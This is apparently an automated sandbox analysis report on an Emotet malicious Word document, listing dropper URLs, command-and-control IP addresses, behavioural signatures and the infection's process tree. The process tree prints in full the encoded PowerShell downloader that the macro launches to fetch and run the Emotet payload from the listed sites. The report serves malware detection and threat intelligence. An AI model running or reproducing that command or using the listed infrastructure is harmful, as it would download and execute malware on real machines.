Analysis

  • max time kernel
    94s
  • max time network
    96s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    21/09/2020, 10:48

General

  • Target
    emotet_e1_c011f657db09823eeda192e8f301d95cd0abb5aa4fac1ef4d53c5169e951bbf0_2020-09-21__104619190381._doc.doc
  • Size 215KB
  • Sample200921-bbbsyxrcvs
  • SHA256 c011f657db09823eeda192e8f301d95cd0abb5aa4fac1ef4d53c5169e951bbf0
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://dongyabingfu.com/wp-includes/w/

  • exe.dropper

    http://givingthanksdaily.com/Q/

  • exe.dropper

    http://uniteddatabase.net/wp-admin/dhJ/

  • exe.dropper

    http://www.gozowindmill.com/meteo/nmy/

  • exe.dropper

    http://kcdryervents.com/ca/D/

  • exe.dropper

    http://www.greaudstudio.com/docs/kGQ/

  • exe.dropper

    https://mrveggy.com/erros/3Ss/

Extracted

Family
  • emotet

C2
  • 91.105.94.200:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 189.2.177.210:443

  • 181.30.61.163:443

  • 185.178.10.77:80

  • 199.203.62.165:80

  • 177.73.0.98:443

  • 87.106.46.107:8080

  • 5.196.35.138:7080

  • 5.189.178.202:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 191.182.6.118:80

  • 96.227.52.8:443

  • 186.103.141.250:443

  • 50.28.51.143:8080

  • 111.67.12.221:8080

  • 50.121.220.50:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_c011f657db09823eeda192e8f301d95cd0abb5aa4fac1ef4d53c5169e951bbf0_2020-09-21__104619190381._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1036
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABYADMAZAB4AGIAaQBnAD0AKAAoACcARgAwACcAKwAnADIAJwApACsAKAAnAG8AMAAnACsAJwAyAGEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFUAcwBFAHIAcABSAE8AZgBpAEwARQBcAE8ANAA0AHYAawA0AHcAXAB1AGwASgAyAEgAQgAxAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAEUAYwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBDAHUAUgBgAEkAYABUAHkAUABSAE8AdABvAGAAQwBvAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACwAJwApACsAKAAnACAAdABsACcAKwAnAHMAJwApACkAOwAkAEsAaAB4AHgAZwBjAHMAIAA9ACAAKAAnAEkAJwArACgAJwB5ADQANAAnACsAJwBqACcAKQArACcANwAnACkAOwAkAFYAcQBxAHoAdgBhAHgAPQAoACcASgByACcAKwAoACcAdgAnACsAJwAxAHAAXwAnACkAKwAnADcAJwApADsAJABRAGMAbgByADcAawBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAE8AdQAnACsAKAAnAHcAJwArACcATwA0ADQAdgBrADQAJwApACsAJwB3ACcAKwAnAE8AdQAnACsAKAAnAHcAJwArACcAVQBsAGoAMgBoAGIAMQAnACsAJwBPACcAKwAnAHUAJwApACsAJwB3ACcAKQAgAC0AQwByAGUAcABsAGEAQwBFACAAKAAnAE8AJwArACcAdQB3ACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABLAGgAeAB4AGcAYwBzACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQASQB3AHkAbwBtAGMAaQA9ACgAJwBBAGsAJwArACcAZgAnACsAKAAnAHAAJwArACcAdABqADkAJwApACkAOwAkAEMAbgB3ADIAegBvAHoAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBsAEkARQBuAFQAOwAkAEsAdgB1AGYAdwB2AG4APQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwADoALwAvAGQAJwApACsAJwBvACcAKwAoACcAbgBnAHkAYQAnACsAJwBiACcAKQArACgAJwBpAG4AZwBmACcAKwAnAHUAJwApACsAKAAnAC4AYwBvAG0ALwB3ACcAKwAnAHAAJwArACcALQBpAG4AYwBsACcAKwAnAHUAJwApACsAJwBkACcAKwAoACcAZQBzAC8AJwArACcAdwAnACkAKwAoACcALwAqAGgAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AZwAnACsAJwBpAHYAJwApACsAKAAnAGkAbgBnAHQAaAAnACsAJwBhACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAcwBkAGEAaQBsAHkAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBRAC8AKgAnACsAJwBoACcAKQArACcAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAdQAnACsAJwBuAGkAJwApACsAKAAnAHQAZQBkACcAKwAnAGQAJwApACsAKAAnAGEAdAAnACsAJwBhACcAKQArACcAYgAnACsAKAAnAGEAcwAnACsAJwBlACcAKQArACgAJwAuACcAKwAnAG4AZQAnACkAKwAnAHQAJwArACgAJwAvACcAKwAnAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAGQAJwApACsAKAAnAGgAJwArACcASgAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAvAC8AdwAnACkAKwAnAHcAdwAnACsAKAAnAC4AZwAnACsAJwBvAHoAJwArACcAbwB3AGkAbgAnACkAKwAnAGQAJwArACgAJwBtACcAKwAnAGkAbAAnACkAKwAnAGwAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAbQAnACkAKwAnAGUAJwArACgAJwB0AGUAbwAnACsAJwAvAG4AJwApACsAKAAnAG0AeQAvACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AawBjACcAKwAnAGQAJwApACsAJwByAHkAJwArACcAZQByACcAKwAoACcAdgBlAG4AJwArACcAdAAnACkAKwAoACcAcwAnACsAJwAuAGMAbwBtAC8AYwBhACcAKQArACcALwAnACsAJwBEAC8AJwArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAvAHcAJwApACsAKAAnAHcAdwAnACsAJwAuACcAKQArACgAJwBnAHIAZQAnACsAJwBhAHUAZAAnACkAKwAnAHMAdAAnACsAJwB1ACcAKwAnAGQAJwArACgAJwBpAG8ALgAnACsAJwBjACcAKQArACcAbwBtACcAKwAoACcALwAnACsAJwBkAG8AYwAnACkAKwAnAHMALwAnACsAJwBrACcAKwAnAEcAUQAnACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAJwArACcAcABzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAG0AJwArACgAJwByAHYAZQAnACsAJwBnACcAKwAnAGcAeQAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAGUAcgByACcAKwAnAG8AJwArACcAcwAvADMAUwAnACkAKwAnAHMALwAnACkALgAiAFMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQBoAGoAZwB3AHQAdwA9ACgAKAAnAE8AJwArACcAdQBvADgAJwApACsAKAAnAG8AYQAnACsAJwB3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARQA1AGoAbgB3AGIAcQAgAGkAbgAgACQASwB2AHUAZgB3AHYAbgApAHsAdAByAHkAewAkAEMAbgB3ADIAegBvAHoALgAiAEQAYABvAFcAbgBMAGAAbwBBAGAAZABGAGkATABFACIAKAAkAEUANQBqAG4AdwBiAHEALAAgACQAUQBjAG4AcgA3AGsAbgApADsAJABMAGUAcQBoAHcAcgBoAD0AKAAnAEYAcgAnACsAKAAnAHkAawAnACsAJwA2ACcAKQArACcAaAA2ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGMAbgByADcAawBuACkALgAiAGwAYABlAG4AZwB0AGgAIgAgAC0AZwBlACAAMgAyADEAMgAzACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawBlACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFEAYwBuAHIANwBrAG4AKQA7ACQAVQB6AGgAMQB6ADAANQA9ACgAJwBOACcAKwAoACcANQA0ACcAKwAnAHoAbAB2AGEAJwApACkAOwBiAHIAZQBhAGsAOwAkAEEAMABwADQAMgBnAHUAPQAoACcATQAwACcAKwAoACcAZQAnACsAJwA2AG0AagBtACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAG4AdgBtAG8AcAAzAD0AKAAoACcAUQBoAGMAJwArACcAeQBwACcAKQArACcAZAAnACsAJwA5ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1580
    • C:\Users\Admin\O44vk4w\Ulj2hb1\Iy44j7.exe
      "C:\Users\Admin\O44vk4w\Ulj2hb1\Iy44j7.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1000
      • C:\Windows\SysWOW64\tapiperf\slc.exe
        "C:\Windows\SysWOW64\tapiperf\slc.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1120

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/776-23-0x000007FEF7170000-0x000007FEF73EA000-memory.dmp

        memory/1000-17-0x00000000002C0000-0x00000000002D0000-memory.dmp

        memory/1000-16-0x00000000002A0000-0x00000000002B2000-memory.dmp

        memory/1036-3-0x0000000007390000-0x0000000007590000-memory.dmp

        memory/1036-5-0x0000000007390000-0x0000000007590000-memory.dmp

        memory/1036-2-0x0000000008AE0000-0x0000000008AE4000-memory.dmp

        memory/1120-21-0x00000000005D0000-0x00000000005E2000-memory.dmp

        memory/1120-22-0x0000000000230000-0x0000000000240000-memory.dmp

        memory/1580-13-0x000000001C3A0000-0x000000001C3A1000-memory.dmp

        memory/1580-12-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

        memory/1580-11-0x00000000022C0000-0x00000000022C1000-memory.dmp

        memory/1580-10-0x00000000024D0000-0x00000000024D1000-memory.dmp

        memory/1580-9-0x000000001ADC0000-0x000000001ADC1000-memory.dmp

        memory/1580-8-0x00000000021F0000-0x00000000021F1000-memory.dmp

        memory/1580-7-0x000007FEEA440000-0x000007FEEAE2C000-memory.dmp